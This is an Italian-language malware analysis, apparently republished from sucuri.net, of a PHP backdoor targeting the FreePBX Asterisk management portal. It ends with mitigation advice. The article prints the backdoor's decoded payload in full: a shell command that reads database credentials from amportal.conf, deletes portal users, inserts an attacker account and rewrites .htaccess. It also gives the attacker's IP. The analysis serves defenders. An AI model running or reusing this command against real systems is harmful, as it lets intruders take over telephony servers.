Backdoor prende di mira il portale di gestione di FreePBX Asterisk
Scritto in PHP e JavaScript, FreePBX è una GUI open source basata sul web che gestisce Asterisk, un voice over IP e un server di telefonia. Questo software open source consente agli utenti di creare sistemi telefonici dei clienti.
Durante una recente indagine, mi sono imbattuto in un semplice malware mirato al portale Asterisk Management di FreePBX che consentiva agli aggressori di aggiungere ed eliminare arbitrariamente utenti, nonché di modificare il file .htaccess del sito web.
Diamo un’occhiata più da vicino a questa backdoor.
Script PHP
Il seguente script PHP è stato trovato su un sito Web WordPress compromesso.
Il malware contiene una serie di controlli per limitare l’accesso:
- Controlla l’IP dell’utente per assicurarsi che corrisponda a 178.162.201.166 (che sembra appartenere a una rete per Leaseweb Deutschland GmbH
- Controlla se l’utente ha effettuato una richiesta con un valore di password che corrisponde all’hash md5 fornito:
Se questi controlli vengono superati, il PHP esegue un comando esterno passato nel parametro secmd della richiesta. Da questo esempio, possiamo vedere alcune stringhe con codifica base64 nella funzione di sistema. Diamo un’occhiata a cosa fanno..
Comandi nascosti in base64
Una volta decodificate, le stringhe base64 rivelano il vero comportamento della backdoor:
mysql `grep AMPDB /etc/amportal.conf|grep "USER\|PASS\|NAME"| sed 's/AMPDBUSER/a/g'|sed 's/AMPDBPASS/b/g'|sed 's/AMPDBNAME/c/g'|sed 's/a=/-u/g'|sed 's/b=/ -p/g'|sed 's/c=/ /g'|tr -d '\n'` --execute "DELETE from ampusers where username!='admin';INSERT INTO ampusers (username,password_sha1,sections) VALUES ('mgknight','33c7a4df46b1a9f7d4a4636d476849205a04c6b7','*');" echo 'Order Deny,Allow`deny from all`<Files subdirectory/*>` deny from all`</Files>`<FilesMatch "\..*$">` Deny from all`</FilesMatch>`<FilesMatch "(^$|index\.php|config\.php|\.(gif|GIF|jpg|jpeg|png|css|js|swf|txt|ico|ttf|svg|eot|woff|wav|mp3|aac|ogg|webm)$|bootstrap\.inc\.php)">` Allow from all`</FilesMatch>`php_value max_input_vars 5000'|tr '`' '\n'>.htaccess
Queste stringhe decodificate consentono alla funzione di sistema di recuperare il database amportal, l’utente del database e la password.
I comandi utilizzano le utilità grep e sed per manipolare il file di configurazione Asterisk amportal.conf. Utilizza quindi l’utilità mysql per eseguire una query SQL che elimina gli utenti dal database, quindi inserisce il proprio utente malintenzionato con il nome mgknight, consentendo agli aggressori di accedere al portale di gestione di Asterisk.
Se non vengono fornite istruzioni, il malware per impostazione predefinita aggiorna le credenziali di accesso di FreeBPX e aggiunge regole al file .htaccess. Queste direttive specificano a quali file deve essere consentito o negato l’accesso in base ai loro nomi e alla loro posizione nell’albero delle directory, nonché al valore delle direttive php_value max_input_vars.
Passaggi di attenuazione:
Le backdoor vengono spesso sfruttate dagli aggressori per ottenere l’accesso non autorizzato ai siti web molto tempo dopo che si è verificata l’infezione iniziale. In questo caso, il semplice script PHP dell’attaccante ha fornito loro tutta la potenza necessaria per aggiungere e modificare arbitrariamente gli utenti nel portale di gestione di Asterisk, oltre a modificare il file .htaccess del sito.
Per mitigare il rischio, ci sono una serie di passaggi che puoi adottare per proteggere il tuo sito Web dalle backdoor:
- Mantieni aggiornati software, plug-in, temi e componenti estensibili. Applica sempre la patch all’ultima versione per assicurarti di proteggerti dalle vulnerabilità software note.
- Usa password complesse e univoche per tutti i tuoi account. Ciò include le credenziali per gli utenti sFTP, database, cPanel e admin.
- Scansiona regolarmente il tuo sito Web alla ricerca di malware e backdoor. Ciò significa scansionare periodicamente il tuo sito a livello di client e server per identificare qualsiasi codice dannoso o backdoor del sito web.
- Monitora i log del tuo sito web. Verifica la presenza di comportamenti insoliti o sospetti e prendi in considerazione l’utilizzo di un sistema di monitoraggio dell’integrità dei file per identificare gli indicatori di compromissione.
- Utilizzare un firewall per applicazioni Web (WAF). I firewall possono aiutare a prevenire la forza bruta, i bot dannosi e a rilevare potenziali attacchi nel tuo ambiente.
FONTE: sucuri.net